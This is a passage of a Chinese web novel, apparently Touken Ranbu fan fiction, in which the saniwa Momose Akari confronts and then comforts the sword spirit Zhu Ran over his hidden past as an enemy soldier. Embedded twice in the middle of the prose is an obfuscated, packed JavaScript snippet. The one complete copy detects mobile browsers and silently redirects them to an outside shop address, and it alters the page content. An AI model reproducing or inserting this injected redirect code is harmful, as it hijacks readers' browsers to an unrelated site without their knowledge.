只有这样,才不会让桃濑灯里再逼近、再看穿他那一点点曾经偷偷燃起的、卑微的幸福。 桃濑灯里怔在原地,脸色一寸寸发白,胸口像被什么钝器敲过一样传来酸涩的疼痛,眼里的光黯淡下来。 祝染的话语如一根针刺入她的心脏,疼得她几乎无法呼吸。 她咬紧牙关,强迫自己保持冷静,却感觉每一次呼吸都像是在逼迫自己去面对一个无法逃避的事实。 祝染还在继续自爆式的坦白,难听的话像不要钱一样无限地冒出来,桃濑灯里伸出手想握住他的手制止他继续说下去,却被他淡淡地避开。 那动作不重,却比任何拒绝都来得更刺骨。 桃濑灯里猛地站了起来,情绪终于彻底爆发: “够了!闭嘴!!! ” 祝染淡淡地看着她。 “我已经知道你是溯行军了,但是——” 但是我还是忍不住想相信你,想知道你为什么要去当溯行军,为什么又离开,是怎么去了大阪城地下,又为什么选择留在本丸。 如果他真的像他说的一样十恶不赦的话,那为什么他的眼睛里满是涟漪,像是要把一生的苦难都倾诉干净。 泛红的眼眶,刚刚是不是有眼泪像露水一样卧在上面,想要替他诉说什么。 就像野生动物露出的柔软的腹部一样转瞬即逝。 “姬君。”祝染打断她不知该从何说起的话语,语气出奇地平静:“谢谢你,让我在这 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确实,在面对春河的话的时候,她当时的第一反应并不是怀疑,而是忍不住去想,就是祝染如果曾经是溯行军的话,那么他到底杀过多少人、又杀过多少付丧神。 确实,是她先开始不信任他的。 难道祝染否认春河的话,她就会高高兴兴地相信,并且不再追问吗? 答案当然是否定的。 但她还是要说清楚的,就算怀疑是真的,但怀疑也不是她内心的全部。 “没关系的,毕竟我就是一个这样不可信的存在。”看出了桃濑灯里的动摇,祝染很善解人意地开口安抚她。 就在这片僵持的空白里,他的眼神柔软下来,像夜色中静静燃起的一盏烛火,只不过那双漂亮的瞳孔里,映出的已经不是光,而是一整片灰: “姬君,如果你觉得我危险,我可以离开,今晚就去时政。” “如果你觉得我欺骗了你,想要报仇的话,我也可以去死,你现在就喊压切长谷部他们过来碎掉我。” “别说了!”这句话刺痛了桃濑灯里的神经,她忍不住崩溃地喊出声,身子向前一倾,拽住祝染的衣领——那红色的运动服布料温热又单薄,她能感觉到他身上的颤抖。 祝染没有挣扎,只是静静地垂着眼,看着她抓着自己的手。 桃濑怔怔地望着雪白浓密的睫毛和不再对视的眼睛,眼泪几乎要落下来,正要再开口时—— 祝染忽然收敛了笑意,声音压低,轻飘飘地,几乎是低声呢喃般地唤了一声: “……灯里。” 那一瞬间,他的声音出奇温柔,带着让人猝不及防的亲密,好像从来都把这个名字捧在心底。 “什么?”突然被人叫了名字,桃濑灯里下意识地回应。 然后,她猛地一愣,一股寒意从后背升起,整个人僵住,呼吸停了一拍,拉着祝染的手也无力地松开。 那是她的本名。 从入职时政第一天就被耳提名面的,是绝对不能告诉任何付丧神的,绝对的秘密。 名字就像是媒介,如果被神明知晓,就可能被他们神隐。 刚刚就这么被祝染轻描淡写地叫出来了。 她猛地抬头,杏眼里掠过一丝惊惶,下意识四下张望,生怕其他刀剑听见。 好在天守阁外,此时一片冷淡。 “你、你怎么……”她声音颤抖,心被猛地攥紧,胸口仿佛骤然落下一块冰,连后半句都说不完整。 但是她的手已经松开,祝染趁机站起身来,语气中带着若有若无的揶揄,好像方才的事只是风吹过的微不足道的插曲: “姬君,你都知道我是溯行军了,怎么还一点警惕心都没有。” “不好意思了,本来不想用这种方法的。” ”但是,我觉得已经没必要继续说下去了,该知道的您都已经从春河那里知道了。” 桃濑灯里怔怔站着,此时她已经分不清自己是被喊出名字被神隐的恐慌吓住,还是被他轻描淡写的语气刺痛。 “不过嘛——这个名字还挺适合你。”祝染弯着眼,嘴角噙着若有若无的笑。 接着,他低头整理了一下衣袖,像是在掩饰什么,又像是怕自己露出太多情绪,转过身,背影挺得笔直,脚步却略显凌乱。 “我先告退了,姬君,晚安。” 话音冷酷落下,夜风冷冷吹过。 天守阁的门被轻轻推开,风灌了进来,带着冷意。 他的身影被风卷走,只留下一点未干的面粉——不知什么时候沾在他袖口的那点白。 眼看着祝染背影决绝地远去,借的山姥切国广的红色运动服被天守阁夜间的灯光照得微微发亮,却无法让人感到温暖。 渐沉的夜色像深渊的边缘一样,隔着她与他。 桃濑灯里本能地想追上去,想抓住他衣角,哪怕被他推开也好。可双脚好像被灌了铅一样地钉在地上,动弹不得。 “……” “祝染,你这个混蛋。” 她的声音哑了,带着气到极致的酸涩。 22.七舅姥爷这里有强抢民男 审神者和祝染吵架了,虽然两个当事人没有明说,但这个消息还是像长了腿一样,飞速地传遍了整个本丸。 毕竟自说自话地威胁了桃濑灯里一番,觉得自己彻底无可救药之后,祝染演都不演了,直接缺席了本丸的晚饭。 而面对着鹤丸国永旁边空缺的位置,桃濑灯里什么话也没说,依旧平和地主持着晚餐和例会。 全程情绪平稳,思路清晰,是付丧神们最熟悉的、可靠的主殿。 她今天甚至没有挑食,面无表情地吃掉了咖喱饭里面的胡萝卜块。 好像一切都在正常地运转着,而c7418本丸会继续在她规定的轨迹上渐行渐远,蒸蒸日上。 这真是太好了。 才怪。 作为忠心耿耿的主命刀、曾多次参与帮助桃濑灯里偷偷扔掉胡萝卜行动,并且事后坚定地和主公一起挨烛台切光忠的教训的、最清楚她有多讨厌胡萝卜的压切长谷部,在看到她面不改色地把胡萝卜吃下去的时候,就已经惊慌失措,想报警求助了。 执法队吗,我怀疑我们本丸的主公去了一趟万屋被夺舍了。 万屋可能混进了伏地魔,我知道这概率很小,但绝非是零。 不对,按照时政今年的工作办法指导方针,这个业务是不是不该找执法队,应该找时之政府? 算了,要不直接找本灵议庭得了。 压切长谷部像个被关进烤箱里、马上要被烤死的苍蝇一样六神无主、坐立不安,其他付丧神也好不到哪里去。 他们虽然不知道发生了什么,但是此时食堂外面风雨大作、雷电交加,所有在晚饭时间赶来的付丧神,现在全都是落汤鸡一样湿漉漉的状态。 这足以说明现在审神者的情绪,绝对不是看起来的这么平稳。 但是桃濑灯里不说,他们也不会立刻就去问。 主殿虽然看起来是一位娇小脆弱的小女孩,但其实内心非常强大,做事情也很有主见。 毕竟她可是一位实打实的、会跟着付丧神一起出阵的、能文能武的战斗派。 从小父母就不在身边,七舅姥爷的工作也很忙不方便打扰,所以在遇到事情的时候,桃濑灯里一直倾向于亲力亲为。 有问题就解决问题,有困难就克服困难。 至于情绪,随着问题的解决自然也就恢复过来了。 这是她的成长环境教给她的,她也一直奉行着这样的理念。 虽然有些时候,她也会需要一些时间来消化自己的情绪,然后才能冷静下来解决问题。 但是,自从成为审神者之后,这样的情况已经少了很多,她也改变了很多。 以前,她的独立是因为背后空无一人,软弱是最无用的东西。 现在,她已经有了自己的家人,本丸的付丧神们与她朝夕相处、并肩作战,他们之间的关系早就已经超越了时政契约的范畴。 虽然她现在还是习惯遇到事情先独自处理,但是她知道,付丧神们会在背后默默地陪伴着她,等待她随时向他们寻求帮助或者是安慰。 甚至有的时候,一些性格比较直接、或者比较急的付丧神,比如山姥切长义和压切长谷部这种,会直接向桃濑灯里提出要求,要求分担她的情绪和压力。 这,就是可靠的直球系猫猫狗狗。 这,就是他们在多年陪伴中达成的,无言的默契。 当然,这里面其实也有知情人士。 比如和桃濑灯里去了一趟万屋,结果听到了祝染是溯行军的惊天大瓜,到现在都没缓过来的山姥切国广。 从时政回来之后,山姥切国广浑浑噩噩地把购物袋整理好,就按部就班地去完成其他工作了。 说他不担心当然是不可能的,毕竟溯行军这个身份是他们完全的对立面。 但是,不管是他还是桃濑灯里,都不会因为一个陌生人的几句话,就直接盖棺定论。 没有相信的义务。 这座本丸的审神者是桃濑灯里,就算祝染有问题不能留,也只能是由她做决策。 眼看着主公回来之后就气势汹汹地直接去找了祝染,那肯定就是要问清楚这个事情。 所以,在晚饭时间见到桃濑灯里按时出现的时候,山姥切国广暗暗松了一口气。 但是看到祝染缺席的时候,他这一口气又提了起来。 然后,他听到了桃濑灯里主持例会一切正常,心情又稍稍有所放松。 结果,他眼睁睁地看着桃濑灯里面不改色地吃下了她生平最恨的胡萝卜,说明她已经完全魂飞天外了。 事情绝对比想象中严重,祝染的身份可能真的如那人所说。 他只能又一次提心吊胆。 山姥切国广觉得自己的心脏不是很舒服,他快要被这一口气捂死了。 谁来关注一下被被的心脏健康好吗。 而虽然这么不安揣测着,但是在眼看着他旁边的山姥切长义和压切长谷部坐都坐不住了,看起来像是要冲上去摇晃桃濑灯里让她回魂的时候。 山姥切国广还是用尽身力气拦住了他俩:“给主公一点思考的时间。” 他不清楚发生了什么,但是他很清楚这个时候桃濑灯里需要什么。 这两个刃的直球效率虽然很高,平时也好用,但是祝染疑似溯行军这件事情,已经远远超出了他们付丧神能涉及的范围。 主公不说,他们最好别知道。 而就在付丧神们用担忧的眼神隐晦地打量桃濑灯里的时候,当事人已经飞快地消灭掉了整份的咖喱饭,率先迎接了烛台切光忠的饭后甜点。 “这是祝染殿下午没做完的半成品,据说是英式的做法。” “已经到最后一步了,但他一直没有回来,我担心放久了味道会有所改变,就擅自烤出来了。” 烛台切光忠一如往常般姿态优雅而细致地把蛋糕和刀叉放到桃濑灯里面前,说的话听上去也没什么问题。 但是此时提到祝染,无疑是一种隐秘的试探。 毕竟下午桃濑灯里把祝染叫走的时候,他也在场,看到眼前的情况,不担心是不可能的。 面对祝染的名字,桃濑灯里看起来依旧波澜不惊,她只是很轻微地嗯了一声当作回应。 看起来似乎也没什么问题。 如果忽视她不用烛台切配的蛋糕刀叉,而是直接用刚刚咖喱饭的勺子当叉子,直接把蛋糕整个叉起来了的话。 话说这个蛋糕怎么这么瓷实,能被整个叉起来啊。 里面到底放了什么啊。 付丧神们面面相觑,细思极恐。 而此时的桃濑灯里,已经完全沉浸在自己的世界里了。 从祝染喊完她的名字,从天守阁大门走出去的那一刻起,她就一直在思考。 她能听见祝染的声音在她的耳边轻飘飘地反复回荡、阴魂不散: 一会儿是“我总是要走的呀”。 一会儿是“你都知道我是溯行军了,怎么还一点警惕心都没有”。 对啊,她怎么一点警惕心都没有。 当事人都承认了,还邀请她碎掉他,她怎么还在这里乱七八糟地纠结着。 她其实现在最懊恼的是,刚刚怎么就没趁机给祝染来一拳。 面对这种不珍惜自己生命,还说话阴阳怪气的家伙。 错过了这个好机会,下一次就不一定了。 明明她应该生气甚至是愤怒的,正如那个男人所说,她是祝染的受害者。 她被祝染欺骗了,把他留在了本丸,也确实相信了他无效的誓言,一厢情愿地把自己当作他的主人。 但是桃濑灯里一点气也生不起来。 她总是在回想祝染喊她名字的时候那个眼神,那个摒弃了一切哀伤和阴霾的,柔软的,专注的眼神。 明明是在威胁她,但是好像是她见多的,祝染所有表情里最认真的一次。 虽然去问了,但除了承认了溯行军的身份和誓言无效的事情,其实祝染还是什么都没说。 他没说为什么他从溯行军来到了大阪城地下,也没说为什么他会杀了春河。 桃濑灯里不是傻子,春河说的是实话不假,溯行军的身份也确实让人谈之色变,但是春河又是什么好东西吗。 一个被时政抓住的,以前大概率是个被新政府围剿的虐刀渣审、所以投靠了溯行军的,前审神者。 挨祝染一剑也是应该的,谁知道他哪一道疤到底是怎么来的。 换到以前,跟这种人说话说多了都要担心自己的审神者资格受污染的。 她可是熟读时政建设发史的。 而且,就她认识的那个祝染,剑都不会用的样子,还杀人如麻、草芥人命。 能在战场上保住自己的命都是个奇迹了,还往自己脸上贴金呢。 如果祝染真的问题很严重,那么他不会那么坦然说出去时之政府自首、或者让她碎掉自己这种话。 他现在当务之急是赶紧跑路保命。 除非他不想活了。 晚饭之前,桃濑灯里还专门绕去祝染和鹤丸国永的部屋看了一眼。 现在秋天天黑得格外早,两个侦查低的让人发指的家伙都没发现她,正相对无言沉默着呢。 本丸里唯二的两个雪白雪白的付丧神,都很老实地把自己缩成了雪球,看起来自闭了。 鹤丸国永大概也知道了点什么。 就算祝染确实有问题,她也上报给了时之政府,对方也没打算跑,看样子是愿意接受政府的调查。 如果政府调查不通过,要把祝染带走处置的话,那桃濑灯里也无计可施, 毕竟她也不会为了祝染去劫狱,然后水灵灵地丢掉自己的审神者资格和本丸。 所以,桃濑灯里完全不纠结祝染以前是溯行军这件事情。 而誓言无效这件事情,其实她也无所谓。 甚至暗暗松了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想清楚这件事情之后,桃濑灯里顿时觉得自己的思维开阔了不少。 但是紧接着,她的眉头又深深地蹙了起来—— 这件事情,现在有着一个非常明显的难点,就是祝染自己很拧巴。 都是千年老刃了,能不能成熟点,学学……算了。 桃濑灯里本来想举个例子证明一下本丸里其他千年老刃们的可靠,但是脑子里一帧帧闪过的,是说话谜语人的三日月宗近、为老不尊的鹤丸国永、还有看起来软绵绵很好说话,但其实心眼子也八百个把人耍的团团转的髭切。 算了,实在是没有一个好的榜样,这些平安刀都一个德行、半斤八两。 但是话又说回来,就算见过、还哄过一期一振这样典型的樱花系不安男子,有着丰富的付丧神开导经验,但是祝染这款有着英吉利文化色彩加持的拧巴扭曲的风味也还是很让桃濑灯里震撼了。 刃怎么能自说自话我行我素到这个程度。 哪怕是威胁桃濑灯里,他也要保守自己以前的经历,可见他相当在意。 嘴是很硬的,眼神是哭唧唧的。 问又是不说的。 她担心祝染会选择退缩,而她还没想好该怎么告诉祝染自己的想法。 虽然相信祝染在本丸的开心是真的,他们之间的羁绊也是真的,但是如果祝染不同意的话,那还真的不好说。 时之政府是不会允许她强抢良家付丧神的。 这些问题想着想着,就把桃濑灯里想成了这样一副味同嚼蜡连胡萝卜都没尝出来的样子。 不过,她已经下定了决心,不管对方怎么想,她要速战速决,明确地告诉祝染,如果他想留下,能留下,c7418本丸愿意为他留一盏灯。 想到这里,桃濑灯里顿时觉得神清气爽,她决定吃完饭就去抓祝染出来。 哪怕是带着压切长谷部一起把对方捆起来,也要让对方听完自己讲话。 桃濑灯里觉得自己刚回本丸的时候,因为太震惊了发挥的不好,谈话完全被祝染虚张声势牵着鼻子走了。 思绪清晰的同时,味觉也悄然回归了,她咀嚼着蛋糕,感受到口腔中的味道越来越丰富。 突然,她神色一变,不可置信地看向旁边的烛台切光忠: “这个蛋糕里面放了胡萝卜?!” 看她终于有所反应,烛台切光忠和其他付丧神都暗暗地松了一口气,他有些疑惑地思索了一瞬,随即恍然大悟般地解释道: “祝染殿确实放了一些橙色的丝状物在牛奶里,跟我说是当地特色的做法,想在想来,有可能是胡萝卜呢。” 说完,他温和而无害地笑了笑,补充道:“主殿,不要挑食哦。” 桃濑灯里下意识的捂住了自己的嘴。 但是,在众目睽睽、尤其是她挑食会格外严肃的如同家长般的烛台切光忠和歌仙兼定的注视之下,她又只能继续艰难地咀嚼着把蛋糕咽下。 同时在心里不住地暗骂。 祝染,你这个没品的英国佬。 果然在海外呆久了,味觉也受影响了。 23.七舅姥爷救救这个鹤丸吧 鹤丸国永觉得自己今天承受了太多刃生不能承受之重。 今天,他既不需要出阵,也没有内番,明明是一个多么舒适而轻松的假日。 只需要很惬意地在部屋里看一会儿漫画,看累了就走出去呼吸一下空气,再顺手吊在树上,随机给一个路过的付丧神“惊喜”,那他今天就是圆满的。 这,就是鹤丸国永最理想的,平淡安稳但是偶有惊喜的生活。 虽然作为一把阅历丰富的平安老刀来讲,一把年纪了还喜欢恶作剧的他,经常被桃濑灯里吐槽实在是为老不尊、活泼得过分。 但是平安刀这个群体就有点说法。 很久很久以前,在祝染来本丸之前,审神者论坛上曾经真的举办过平安刀红黑榜匿名投票。 第一名众望所归,必须得是小乌丸,他们慈爱又可靠的、逢年过节还会发红包的父上大人。 第二名颁给谁就很有争议了。 看起来很随和养老,但是会突然语出惊人,说些“横尸野外的话,说明实力也不过如此*”这种话,非人感极强、被桃濑灯里力排众议、推举为本丸第一伪人的三日月宗近吗。 这位是直接换了一个赛道,告别了红榜。 同样,看似像奶黄包一样说话软绵绵好脾气,但是会在桃濑灯里帮膝丸强调他的名字的时候,顺水推舟地问:“那姬君的名字是?”还好几次险些得逞的黑芝麻馅儿的髭切。 还有为了让哥哥记住自己的名字,所以吃一堑又吃一堑越战越勇、现在别名已经再创新高、多达上百个,但还是乐此不疲的兄控膝丸。 桃濑灯里一度很怀疑,其实名字问题就是他们俩兄弟的情趣小游戏。 但是你们俩的游戏不要拉上我啊,我的名字说出来要出事的! 好几次面对髭切都险些顺嘴,所以赏源氏兄弟奥州合战远征一次的、不能透露姓名的审神者情绪十分激动。 顺便一提,为了表现刃道主义,那个伪人排行榜的二三名是空悬的,从第四名开始是粟田口的刃工智能白山吉光。 也就是说三日月宗近包揽了前三,并笑哈哈地说着“不太懂啊这就是代沟吗”,领走了前三名的奖品,万屋高级和式茶点三份。 桃濑灯里又自费给白山吉光的小狐狸买了一条围巾,当作是给他的鼓励奖。 鼓励他下次不要上这个榜。 所以,在这样一群活出个性、活出自我的平安刀里,鹤丸国永就这点无伤大雅的小爱好,简直就是能排进前三的乖宝宝。 再说了,鹤丸国永会这样也是有原因的。 他有很长一段时间都一直在为大人物殉葬、然后再被盗墓贼偷走、再重蹈覆辙。 只能和尸骨作陪的暗无天日的生活,每分每秒都是折磨,何况鹤丸还经历了百年。 他都这么寂寞了,现在喜欢热闹一点怎么了。 审神者一声令下,给我使劲宠。 当然,在c7418本丸,如果鹤丸国永真的制造了大的麻烦,第一个提刀追杀他的也是桃濑灯里。 这就是武斗派审神者的实力。 而鹤丸国永的新室友祝染,虽然也个性不俗,但因为桃濑灯里跟他接触还不算特别多,本来不管是红榜还是黑榜都是排不上号的。 不过现在,凭借着自爆溯行军、威胁审神者和邀请碎掉他的三件套。 祝染的难搞程度在她心里拳打三日月,脚踢源氏刀,一骑绝尘、遥遥领先。 简直是刃中比格、比格中的战斗格。 如果可以的话,桃濑灯里现在希望能够实现每丸一染,让所有人都知道她的绝望。 而现在懂她的刃,只有今天同样遭遇了祝染冲击的鹤丸国永。 下午,受害刃鹤丸国永散完步、也顺利吓到刃、神清气爽地回到部屋,打算钻回炉被继续舒舒服服看漫画。 但是,在伸腿的时候,他突然感受到了阻碍。 掀开被子,就发现了一团白色生物,正把自己裹成一个严严实实的球,藏在里面。 这才秋天,就有雪女了吗? 要不要去找髭切祛一下鬼,他从奥州合战回来没。 “染……染酱?是你吗?”撅着屁股趴在地上,鹤丸国永把头探进了炉被,伸手小心翼翼地戳了戳那团白色的不明物体。 然后他猛地对上了一双闪着幽光的、满含怨念的眼睛。 还是红色的。 !!! 鹤丸国永被吓到了,下意识地想跑。 但是他忘记了自己此时在炉被里面,头上就是桌板。 所以他下意识的动作,给了他的头顶一击重创,和一个新鲜的包。 “啊……是鹤丸呀。”在鹤丸国永捂着自己的脑袋痛到不可自拔的时候,眼睛主人的声音软绵绵地传了出来,带着非常明显的疲惫。 是他熟悉的祝染的声音。 “抱歉,但是能麻烦你稍微出去一下吗,我现在不想被看到。”说完这句话,祝染就自顾自地又把头埋进了深处,将自己缩成了一团。 这团蚕蛹一样的东西,居然真的是祝染。 就这么反客为主把他的炉被占有了吗。 鹤丸国永震撼至极。 不怪他不敢认,虽然这个部屋里只有他和祝染住,他俩也都是雪白雪白的。 但是他印象中的祝染,是一位哪怕是穿运动服都要换发型的仙男,爱美程度不输加州清光的精致刃。 这个披头散发、形容枯槁的刃是谁。 把他的室友还给他。 而面对这种反常的情况,鹤丸国永当然不可能坐视不管的,所以他拒绝了祝染的自闭申请,并又一次把头伸了进去。 “染酱,遇到什么事情了吗?”鹤丸国永戳了蚕宝宝祝染一下,祝染不为所动。 “不要憋在炉被里啊,会憋坏的。”又戳一下,祝染翻身换了一个位置。 “你现在看起来很不好,要不要我去找药研来看看?”鹤丸国永继续戳,但祝染已经一动不动彻底不搭理他了。 室友,死掉了。 “喂……理理我嘛染酱,有什么不高兴的事情跟我说一下,或者和我去找小乌丸聊一下啊。” “父上和三日月很擅长处理各种问题的,不要把自己闷在这里,我们会帮你的。” 空间狭小的、闷热的炉被里,鹤丸国永的声音简直无孔不入。 从每一个角落、无孔不入地传进了祝染的鼓膜里。 他终于抬起了头,看着鹤丸国永那双金灿灿的明亮的眼睛,一字一顿: “那你发誓、你真的要听。” “好啊,我发誓。”终于收到了反馈,鹤丸国永欣然同意,立刻举起了三根手指。 但是,那时的鹤丸国永完全没有想到,这么幼稚的发誓仪式后面,要接一些这么沉重的话题。 我的室友虽然以前不会用剑也没有战斗能力,但是是坑蒙拐骗的溯行军。 因为忍无可忍打算拉着主人一起死,但是没死成,所以发现自己是残缺的付丧神。 从诞生那一天起就死了刀匠,刀匠还是用自己自刎的。 一桩桩一件件,听完之后只觉得祝染现在居然还活着,这才是奇迹吧。 换个刃早就跳刀解池了,今年都上小学了。 不对,祝染没跳,可能是因为溯行军没有刀解池,只有本丸有。 因为之前跟鹤丸国永聊过天,知道他们在某种意义上有着相似的经历,还天天住在一起,祝染对他有种更深的亲近感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635312|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以他把那些面对桃濑灯里时,因为愧疚和欺骗、所以难以启齿的过往和真相,全都倾诉给了鹤丸国永。 为什么不告诉桃濑灯里? 因为没必要,他是溯行军、他弑主、他欺骗了桃濑灯里,这些都是板上钉钉的事实。 即使他有自己的原因,那也改变不了这些事情本身的性质,改变不了他和时之政府对立的身份。 既然被发现了,那就没有必要粉饰太平,未来是既定的,他已经决定了不再逃避,去接受时之政府的制裁。 哪怕是碎刀,结束他颠沛流离但是一无所获的刃生。 所以何必说出来博人眼泪、让桃濑灯里跟着他一起徒增烦恼。 最后不过是他有梦魇,她有心结。 而现在,祝染也没打算让鹤丸国永、或者本丸里的其他刃来帮他,也很清楚他们也帮不了他什么。 除非时之政府是他们本丸开的。 他只是还是有些不甘心,为什么要在一切错误都已经无可挽回的时候,遇到他以前从来没敢想过的,梦寐以求的生活。 他真的很喜欢这个本丸,喜欢本丸里面个性鲜明、但是都很友善的付丧神,喜欢这座本丸正直而开朗的审神者。 所以他恶毒而自私地希望,会有人知道他的故事,他们能记住他。 毕竟他可是祝染,堂堂皇室御物,献祭给神明的祭祀剑。 这么漂亮的剑,要是活了千百年什么痕迹都没留下,简直亏大了。 刃之将死,破罐子破摔。 怀抱着这样沉重的心情,祝染把自己的原生家庭、情感经历、犯罪行为全都告诉了鹤丸国永。 于是鹤丸国永大脑过载了。 难怪祝染刚刚不告诉他,那简直是他最后的善良。 他主观上觉得这些事情听起来全都不是祝染的错,是命运把祝染当苦瓜在榨汁,但是他也不知道该怎么办。 事情大到这种程度,涉及到了时之政府和溯行军的对立问题。 别说三日月宗近了,太阳神听完了都得抑郁,跟着陪两根。 什么都做不了的鹤丸国永决定陪着祝染一起安静地自闭一会儿,其他的他可能需要再想想,或者求助三日月宗近一起想。 这就是为什么桃濑灯里来偷看的时候,部屋里面会有两个雪白雪白的、自闭的球的前因后果。 但是,鹤丸国永没能如他所愿去求助三日月宗近。 因为他被桃濑灯里给逮住了。 面对着审神者“你是不是知道了些什么的”的盘问,他也是毫无抵抗水灵灵地就全都招供了。 毕竟他只跟祝染发了誓说他要听,又没发誓说他不会往外说。 没有保密的义务。 而且,虽然祝染的问题他解决不了,只能陪着祝染一起叹气,不代表桃濑灯里解决不了。 他们的主殿,可是一位时政赫赫有名的优秀审神者。 再不济,桃濑灯里还是关系户。 祝染以前是溯行军的事情无法改变,必须要经历处罚,但是他们可以去求那个在时政,不知道现在官升到多大了的、神秘的七舅姥爷。 哪怕是给他一个痛快呢。 万一碎刀也有安乐死呢。 呜呜呜,染酱,你走的一定要安详啊,鹤会想念你的。 一想到现在还窝在部屋里、连晚饭都没去吃的祝染,鹤丸国永就忍不住泪眼汪汪。 而在鹤丸国永内心戏十足地咬着手帕、眼睛哭得像荷包蛋一样的时候,桃濑灯里正在握紧拳头咬牙切齿,抑制冲进部屋去给祝染一拳的冲动。 从跟鹤丸的情报交换中,她发现祝染面对她的时候,关键的事情基本上什么也没说。 但是现在全说给鹤丸了。 24.七舅姥爷这里有哭哭祝染 鹤丸国永去食堂吃饭之后,祝染也没有关上部屋的门。 他抱着自己的本体坐在廊下,抬头静静地看着夜空。 本丸正在下雨,风一吹,冰冷的雨丝就刮在了过来,砸在他的脸上像玻璃茬一样,隐隐作痛。 经过这一段时间山姥切长义的付丧神常识恶补,他现在已经知道,这是桃濑灯里在难过了。 本丸的天气,是审神者心情的反应。 而且,肉眼可见雨势越来越大了,他的发丝被打湿,湿漉漉地贴在颈侧,就像桃濑灯里直接趴在他身上哭过一样。 “说话能这么难听,我还真是厉害。”祝染喃喃自语道。 而鹤丸国永和桃濑灯里找到祝染的时候,就刚好听到这一句话。 桃濑灯里更生气了,于是当机立断地上去,用自己手里的法棍面包狠狠给了祝染头一下。 而她旁边鹤丸国永也没拦着。 一方面是因为他对自己的机动心知肚明,真不一定能拦住愤怒的主公。 另一方面,他也已经听完了桃濑灯里复述的她和祝染下午的谈话过程。 自己这位敢于用真名威胁审神者的室友,实在是太罪有应得了。 他在本丸作天作地三年,都没有祝染一个下午捅得篓子大。 烛台切光忠特制的法棍面包品质十分上乘,祝染猛然被砸,眼神都清澈了不少。 本来还有点愤怒,但一回头,就看到对他怒目圆睁的桃濑灯里和她后面探头探脑的鹤丸国永。 鹤丸甚至还对着他“呦”了一声。 面对桃濑灯里的愧疚和心虚直接浇灭了他所有的脾气,他有些手足无措,最后还是勉强地挤出一个笑容打招呼: “姬君,晚上好,散步吗,好巧呢。” 大吵一架之后他们不应该像电视剧里演的一样各自分开几十年都不见吗。 虽然是一把平安时期就存在的剑,但是下午其实是祝染第一次和人吵架。 毕竟春河那个时候他根本就没跟他吵,直接就决定同归于尽了。 他也没想到自己能这么勇冠三军、咄咄逼人。 冷静下来之后就是又后悔,又害怕。 他真的不想离开这个本丸,但是没人给过他选择的机会,他现在已经无路可退了。 桃濑灯里也很体面地回给他一个皮笑肉不笑的表情,对他句句话都有回应: “晚上好,胆小鬼。” “不巧,我找的就是你,看到了这个鹤丸国永没有,他现在是我的打手。” 说完,顶着祝染震撼到失语的目光,她就自顾自地在他的旁边坐了下来,还强势地把手里的面包塞进了他怀里。 吵架归吵架,她可没有虐待付丧神的习惯,传出去对她的名声不好。 而至于为什么厨房那么多食物,偏偏给祝染干巴到能当武器的法棍面包。 一码归一码,这是对他给自己做胡萝卜蛋糕的惩罚。 而为了防止祝染这个逃避型刃格在她眼前又一次跑掉,她还提前跟鹤丸国永商量了战术。 此时,只需要她一个眼神,鹤丸也迅速坐在了祝染的另一边,和桃濑灯里一左一右地把他夹心包抄起来。 被看似只是被夹击了,但其实还能感觉到鹤丸国永的手牢牢拽住了他的衣服一角,看着手里的法棍面包,祝染陷入了沉默。 他不会真的要被桃濑灯里碎掉了吧。 最后的晚餐就吃这个,他死不瞑目啊。 但是桃濑灯里才不会任由他继续胡思乱想,她来这里就是来解决这个刃的问题的。 一把掰过祝染的肩,把手压在他的肩上,认真地注视着祝染的眼睛,桃濑灯里语气坚定不容置喙: “祝染,我现在已经知道了你之前的事情。” “首先,我不认为当溯行军是你的问题,但是我也没办法替那些死在战场上的前辈去原谅你。” 听到这句话,祝染下意识地想要回避她的注视。 她的眼神太明亮,就如同利剑一样,和以前他在战场上见过的那些审神者太相似了。 但是他没想想到桃濑灯里看起来娇小,力气却很惊人。 按在他肩上的手就像铁钳一样,只要他一有反抗的动作力气就会加大。 完全动弹不得。 祝染此时真的目瞪口呆了。 一直以来都是他在折腾桃濑灯里,对方虽然总是被他气到扶额苦笑、无语凝噎,但也没有真的动过手。 所以他这是第一次意识到,这座本丸的审神者有这么恐怖。 溯行军当久了,他还以为人类都是很脆弱的生物呢。 而旁边既亲眼目睹过桃濑灯里在战场上提着弓百步穿杨把溯行军串成一串、也总是因为搞事被桃濑灯里私下制裁的老江湖鹤丸国永,对他投以同情的目光。 作为室友,他当然看过祝染的身体。 作为青年体型的付丧神,对方的肌肉并不明显,只是薄薄一层,还很可能是付丧神化形自带的。 但桃濑灯里的肌肉,可是实打实开弓射箭练出来的。 捏一下就是一个铁砂掌般的手印。 他很早就察觉了主公对祝染是真的很温柔了,如果室友不整这么一出,估计还能被蒙在鼓里很久。 对于祝染的震惊和吃痛,桃濑灯里直接无视,她继续发表她的意见: “所以我会把你交给时之政府,由政府来决定要不要惩罚你、怎么惩罚你。” “本丸的大家很喜欢你,我也很喜欢你,如果你能在政府那里拿到许可,而且你还想留在这个本丸,我很欢迎,我也会去向政府争取。” “我下午找你,是想问清楚你和春河的事情,我想知道你身上到底发生过什么。” “以前我是这样对被被、对长谷部做的,所以我也这么对你做。” “这只是我作为审神者的习惯,本丸的付丧神们都是我的家人,你也是,所以我希望能够更加了解你们。” “但是我没想到你的过去会有这么多不好的事情,对于你的经历,我很心疼你,同时我也很庆幸,经历了这么多,你还是坚强地站在我们面前。” 心疼?庆幸?家人? 这是祝染有记忆以来,第一次听到这几个词被用到他的身上。 他一直都知道自己很漂亮、很珍贵,所以人类很喜欢他,也很想拥有他。 但那一切都是基于他的本体、和他所象征的吉祥的寓意。 他不觉得那些人注视他的时候,目光真的落在了“祝染”的身上,他们看到的只是一把剑而已。 